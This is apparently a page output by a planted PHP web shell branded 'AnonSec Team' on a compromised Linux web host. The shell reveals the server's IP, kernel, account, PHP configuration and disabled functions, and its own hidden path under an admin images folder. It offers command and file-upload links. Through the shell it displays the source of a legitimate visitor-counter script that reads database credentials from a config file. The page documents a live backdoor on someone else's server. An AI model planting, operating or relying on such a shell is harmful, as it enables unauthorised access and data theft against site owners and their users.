AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/loginForm/../counter/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/loginForm/../counter/counter-en.php
<?php
/*
Counter Information

Website: http://www.free-php-counter.com/
Version: Mysql version

Installation help:

http://www.free-php-counter.com/mysql-counter.php


You like to remove the link on the counter? Click here and get an link free license:

http://www.free-php-counter.com/adfree_counter.php
*/


// edit counter settings here


// database configuration
include ("Connections/config.php");
$counter_host =$config[db_server];
$counter_user = $config[db_username];
$counter_password =$config[db_password];
$counter_database = $config[db_name];

// http path to the folder containing counter.php and counter.gif (do not forget the / at the end)
// set http://www.your-homepage.com/ when the counter is in root dir
$counter_path_http = "counter/";

// ip-protection in seconds
$counter_expire = 600;



// do not edit from here

// connect to database
$counter_connected = true;
$link = @mysql_connect($counter_host, $counter_user, $counter_password);
if(!$link) 
{
 	// can't connect to database
	$counter_connected = false;
	echo "Counter: " . mysql_error();
}
else
{
	// select database
	$db_selected = @mysql_select_db($counter_database, $link);
	if (!$db_selected) 
	{
		// can't select database
		$counter_connected = false;
		echo "Counter: " . mysql_error();
	}
}

if ($counter_connected == true) 
{
   $ignore = false; 
   
   // get counter information
     $sql = "select * from counter_values  ";
   $res = mysql_query($sql);
    // fill when empty
   if (mysql_num_rows($res) == 0)
   {	  
	 $sql = "INSERT INTO `counter_values` ( `day_id`, `day_value`, `yesterday_id`, `yesterday_value`, `week_id`, `week_value`, `month_id`, `month_value`, `year_id`, `year_value`, `all_value`, `record_date`, `record_value`) VALUES ( '" . date("z") . "',  '1', '" . (date("z")-1) . "', '0', '" . date("W") . "', '1', '" . date("n") . "', '1', '" . date("Y") . "',  '1',  '1',  NOW(),  '1')";
	  mysql_query($sql);
	 $sql = "INSERT INTO counter_ips_record (ip, visit) VALUES ('$counter_ip', NOW())";
   	mysql_query($sql);

	  $sql = "select * from counter_values ";
      $res = mysql_query($sql);
	  
	  $ignore = true;
   }   
   $row = mysql_fetch_assoc($res);
   
   $day_id = $row['day_id'];
   $day_value = $row['day_value'];
   $yesterday_id = $row['yesterday_id'];
   $yesterday_value = $row['yesterday_value'];
   $week_id = $row['week_id'];
   $week_value = $row['week_value'];
   $month_id = $row['month_id'];
   $month_value = $row['month_value'];
   $year_id = $row['year_id'];
   $year_value = $row['year_value'];
   $all_value = $row['all_value'];
   $record_date = $row['record_date'];
   $record_value = $row['record_value'];
   
   $counter_agent = (isset($_SERVER['HTTP_USER_AGENT'])) ? addslashes(trim($_SERVER['HTTP_USER_AGENT'])) : "";
   $counter_time = time();
   $counter_ip = trim(addslashes($_SERVER['REMOTE_ADDR'])); 
   
   // ignorore some bots
   if (substr_count($counter_agent, "bot") > 0)
      $ignore = true;
      
   // delete free ips
   if ($ignore == false)
   {
      $sql = "delete from counter_ips where unix_timestamp(NOW())-unix_timestamp(visit) > $counter_expire  "; 
      mysql_query($sql);
   }
      
   // check for entry
   if ($ignore == false)
   {
      $sql = "select * from counter_ips where ip = '$counter_ip'  ";
      $res = mysql_query($sql);
      if (mysql_num_rows($res) == 0)
      {
         // insert
	     $sql = "INSERT INTO counter_ips (ip, visit) VALUES ('$counter_ip', NOW())";
   	     mysql_query($sql);
      }
      else
      {
         $ignore = true;
	     $sql = "update counter_ips set visit = NOW() where ip = '$counter_ip'  ";
	     mysql_query($sql);
      }
   }
   
   // online?
   $sql = "select * from counter_ips   ";
   $res = mysql_query($sql);
   $online = mysql_num_rows($res);
      
   // add counter
   if ($ignore == false)
   {     	  
      // yesterday
	  if ($day_id == (date("z")-1)) 
	  {
	     $yesterday_value = $day_value; 
		 $yesterday_id = (date("z")-1);
	  }
	  else
	  {
	     if ($yesterday_id != (date("z")-1))
		 {
		    $yesterday_value = 0; 
		    $yesterday_id = date("z")-1;
		 }
	  }
	  
	  // day
	  if ($day_id == date("z")) 
	  {
	     $day_value++; 
	  }
	  else 
	  {
	     $day_value = 1;
		 $day_id = date("z");
	  }
	  
	  // week
	  if ($week_id == date("W")) 
	  {
	     $week_value++; 
	  }
	  else 
	  { 
	     $week_value = 1;
		 $week_id = date("W");
      }
	  
      // month
	  if ($month_id == date("n")) 
	  {
	     $month_value++; 
	  }
	  else 
	  {
	     $month_value = 1;
		 $month_id = date("n");
      }
	  
	  // year
	  if ($year_id == date("Y")) 
	  {
	     $year_value++; 
	  }
	  else 
	  {
	     $year_value = 1;
		 $year_id = date("Y");
      }
	  
	  // all
	  $all_value++;
		 
	  // neuer record?
	  if ($day_value > $record_value)
	  {
	     $record_value = $day_value;
	     $record_date = date("Y-m-d H:i:s");
	  }
		 
	  // speichern und aufrไumen
	  $sql = "update counter_values set day_id = '$day_id', day_value = '$day_value', yesterday_id = '$yesterday_id', yesterday_value = '$yesterday_value', week_id = '$week_id', week_value = '$week_value', month_id = '$month_id', month_value = '$month_value', year_id = '$year_id', year_value = '$year_value', all_value = '$all_value', record_date = '$record_date', record_value = '$record_value' ";
	  mysql_query($sql);  

	   // insert
	     $sql = "INSERT INTO counter_ips_record (ip, visit) VALUES ('$counter_ip', NOW())";
   	     mysql_query($sql);
   }	  
?>
<style type="text/css">
<!--
.style3 {font-family: Kanit;color:#737373;  }
-->
</style>

<table cellpadding="0" cellspacing="0" border=0 width="80%" align=left>
 
  <tr> 
    <td> 
		<TABLE align=center width=100%>
	<TR>
		<TD width=54%><span class="style3">Online <img src="counter/ip.gif" width="16" height="16" /></span></TD>
		<TD width="46%"><span class="style3"><?php echo $online; ?>&nbsp;</span></TD>
	</TR>
	<TR>
		<TD><span class="style3">Today </span></TD>
		<TD><span class="style3"><?php echo $day_value; ?>&nbsp;</span></TD>
	</TR>
	<!-- <TR>
		<TD><span class="style3">วานนี้<img src="counter/online.png" width="16" height="16" /></span></TD>
		<TD><span class="style3"><?php echo $yesterday_value; ?>&nbsp;คน</span></TD>
	</TR> -->
	<TR>
		<TD><span class="style3">This Week </span></TD>
		<TD><span class="style3"><?php echo $week_value; ?>&nbsp;</span></TD>
	</TR>
	<TR>
		<TD><span class="style3">This Month </span></TD>
		<TD><span class="style3"><?php echo $month_value; ?>&nbsp;</span></TD>
	</TR>
	<TR>
		<TD><span class="style3">This Year </span></TD>
		<TD><span class="style3"><?php echo $year_value; ?>&nbsp;</span></TD>
	</TR>
	<TR>
		<TD><span class="style3">Total </span></TD>
		<TD><span class="style3"><?php echo $all_value; ?>&nbsp;</span></TD>
	</TR>
	<TR>
 		<TD colspan=2><?php echo "<span style=\"color:#FFFFFF\">Since&nbsp;:&nbsp;</font>" .ShowAllDate($record_date,6);  ?></span></TD>
	</TR>
	</TABLE>
    </td>
  </tr> 
</table>
<?php
}
?>

AnonSec - 2021